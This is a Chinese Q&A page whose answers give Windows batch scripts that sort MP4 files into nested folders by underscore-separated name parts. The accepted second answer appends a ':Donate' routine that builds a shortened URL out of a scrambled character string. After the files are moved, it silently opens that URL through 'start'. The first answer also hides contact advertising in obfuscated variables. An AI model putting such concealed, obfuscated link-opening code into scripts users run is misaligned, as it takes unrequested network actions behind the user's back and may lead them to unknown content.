批处理 按文件名自动创建多层文件夹并把文件放入该文件夹中?

文件格式有“_”分隔 如
4005_86235_201912110809_0042.MP4
4005_86236_201912110809_0042.MP4
4006_86235_201912110809_0042.MP4
4006_86288_201912110809_0042.MP4
如果先按4005、4006文件夹分,在4005里面再按86235、86236文件夹分 两层就可以了

复制粘贴到记事本,另存为xx.bat,编码选ANSI,跟要处理的文件放一起运行

@echo off
rem 将文件名按指定字符分割成多段并创建多层目录及移动文件到新建的相对应的目录里
mode con lines=3000
set #=Any question&set @=WX&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$%/%@% %z%
cd /d "%~dp0"
for /f "delims=" %%a in ('dir /a-d/b *_*_*.*') do (
    for /f "tokens=1,2 delims=_" %%b in ("%%~na") do (
        if not exist "%%b\%%c\" md "%%b\%%c\"
        echo;"%%a" --^> "%%b\%%c\"
        move "%%a" "%%b\%%c\"
    )
)
:end
echo;%#% +%$%%$%/%@% %z%
pause
exit

温馨提示:答案为网友推荐,仅供参考
第1个回答  2019-12-27
@echo off & title 根据文件名创建多层目录,并移入 By 依梦琴瑶

for %%a in (*.mp4) do (
for /f "tokens=1,2 delims=_" %%b in ("%%~na") do (
if not exist "%%~b\%%~c" md "%%~b\%%~c"
move "%%~a" "%%~b\%%~c\"
)
)
pause

call :Donate
exit

:Donate
set "S0=fPdv"
set "S1=.:ailnhpst/"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit来自:求助得到的回答本回答被网友采纳
第1个回答  2019-12-27
在文件位置,循环读取文件,根据下划线切割文件名为数组,然后遍历数组创建文件夹,最后把文件移入最后创建的文件夹里。
相似回答